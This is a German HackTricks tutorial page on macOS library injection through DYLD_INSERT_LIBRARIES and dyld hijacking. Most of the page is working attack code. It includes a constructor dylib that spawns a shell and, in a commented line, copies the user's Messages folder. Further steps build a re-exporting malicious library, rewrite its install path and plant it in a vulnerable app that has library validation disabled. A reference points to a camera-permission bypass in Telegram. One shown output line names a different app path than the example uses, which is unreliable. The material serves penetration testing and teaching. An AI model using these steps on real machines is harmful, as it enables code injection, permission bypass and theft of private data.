macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

DYLD_INSERT_LIBRARIES Grundlegendes Beispiel

Bibliothek zum Injizieren, um eine Shell auszuführen:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

Angriffsziel-Binärdatei:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

Injektion:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Beispiel für Dyld-Hijacking

Die anvisierte verwundbare Binärdatei ist /Applications/VulnDyld.app/Contents/Resources/lib/binary.

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

Mit den vorherigen Informationen wissen wir, dass es die Signatur der geladenen Bibliotheken nicht überprüft und versucht, eine Bibliothek von folgenden Orten zu laden:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

Jedoch existiert die erste nicht:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

So ist es möglich, es zu kapern! Erstellen Sie eine Bibliothek, die beliebigen Code ausführt und die gleichen Funktionen wie die legitime Bibliothek exportiert, indem sie sie erneut exportiert. Und denken Sie daran, sie mit den erwarteten Versionen zu kompilieren:

lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

Kompilieren Sie es:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

Der im Bibliothek erstellte Reexport-Pfad ist relativ zum Loader. Ändern wir ihn in einen absoluten Pfad zur zu exportierenden Bibliothek:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

Schließlich kopieren Sie es einfach an den gekaperten Speicherort:

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

Und führen Sie die Binärdatei aus und überprüfen Sie, ob die Bibliothek geladen wurde:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib wurde in /Applications/VulnDyld.app/Contents/Resources/lib/binary gehijackt
Verwendung: [...]

Ein guter Artikel darüber, wie man diese Schwachstelle ausnutzt, um die Kameraberechtigungen von Telegram zu missbrauchen, finden Sie unter https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/

Größeres Ausmaß

Wenn Sie planen, Bibliotheken in unerwartete Binärdateien einzufügen, können Sie die Ereignisnachrichten überprüfen, um herauszufinden, wann die Bibliothek in einem Prozess geladen wird (in diesem Fall entfernen Sie das printf und die Ausführung von /bin/bash).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated